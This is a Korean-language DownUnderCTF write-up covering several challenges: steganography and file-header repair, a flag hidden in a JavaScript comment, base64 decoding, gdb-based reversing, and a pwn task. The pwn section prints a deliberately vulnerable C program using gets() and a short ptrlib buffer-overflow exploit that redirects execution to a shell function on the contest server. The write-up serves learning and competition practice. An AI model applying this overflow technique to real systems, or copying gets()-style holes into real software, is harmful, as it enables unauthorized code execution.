DownUnderCTF Writeup
Forensics
On the spectrum
의식의 흐름
wav파일 → audacity 툴 사용
문제이름 → spectrum → spectrogram
Spot the Difference
문제 폴더
/.config 폴더에 깨져있는 파일 발견
IHDR, IDAT 청크가 있는걸로 보아 PNG 파일
따라서 zip파일 시그니처인 50 4B 03 04를 → 0D 0A 1A 0A는 그대로 존재하므로 89 50 4E 47 로 변경
고쳐서 사진을 보면 암호화된 비밀번호에 1cmVQ라는 문자열이 삽입되어있다고 함
해당 사진 파일과 같은 디렉토리에 secret 디렉토리 존재
해당 디렉토리 안에는 40개의 폴더 각각 40개의 txt파일을 포함
다음과 같이 리눅스로 환경을 옮겨 위 사진과 같은 명령어를 사용
인코딩 방식은 base64였으므로 해제하면 1234IsASecurePassword라는 비밀번호를 얻을 수 있음
이 비밀번호는 문제에 steghide를 언급했으므로 steghide의 비밀번호라는 것을 유추 가능
steghide를 사용할 사진을 찾다 badfiles안 여러가지 이미지를 발견 steghide가 사용된 사진파일이 이 중 하나라고 게싱
import subprocess
lslist = subprocess.check_output(['ls']).decode().split('\n')
for i in lslist:
try:
print(i)
subprocess.check_output('steghide extract -sf %s -p "1234IsASecurePassword"' % i, shell=True)
except:
pass
다음과 같은 파이썬 코드를 짜 돌림
다음과 같이 특정 이미지에 SecretMessage.txt가 숨어있는것을 발견
해당 파일을 읽으면 플래그 획득
Web
Legos
pasta, sauce 대부분 그냥 소스코드 읽으면 플래그를 주는 경우 허다함
개발자모드를 열어 disableMouseRightClick.js 소스코드 안 주석으로 플래그가 존재
Misc
16 Home Runs
저 문자열 끝에 = 있음 base64임
대충 문제 의도를 보자면 야구의 홈런은 4루타이니 16*4 = 64로 base64쓰라는 뜻인것 같았음
킹무튼 디코딩 돌리면 플래그 줌
Pwn
Shell this!
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))
void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}
void get_shell() {
execve("/bin/sh", NULL, NULL);
}
void vuln() {
char name[40];
printf("Please tell me your name: ");
gets(name);
}
int main(void) {
printf("Welcome! Can you figure out how to get this program to give you a shell?\n");
vuln();
printf("Unfortunately, you did not win. Please try again another time!\n");
}
shellthis.c 파일
name 버퍼 40byte인데 gets 함수를 이용해 입력받으므로 BOF 발생
따라서 RET주소를 get_shell()로 변경해주면 쉘을 딸 수 있음
gets 함수에 인자를 전달하는걸로 보아 name의 버퍼위치는 rbp-0x30
0x30[name]+0x8[SFP]만큼의 버퍼를 주고 get_shell()주소를 주면 쉘을 딸 수 있을 듯
from ptrlib import *
e = ELF("./shellthis")
p = remote('chal.duc.tf', 30002)
p.recvuntil('name:')
get_shell_addr = e.symbol("get_shell")
payload = b'A'* (0x30+0x8)
payload += p64(get_shell_addr)
p.sendline(payload)
p.interactive()
페이로드
두번째 문제 return-to-what도 풀고싶었으나 64bit ret2libc를 해본 경험이 없어 못 품 ㅠ
reversing
formatting
매우 쉽다고 하는데 어려웠음 나는 ㅎㅎ....
그래서 거의 야매로 품
그냥 gdb로 열고 main에 bp건 다음 ni만 엄청 누름
그러면 stack쪽에 플래그가 올라옴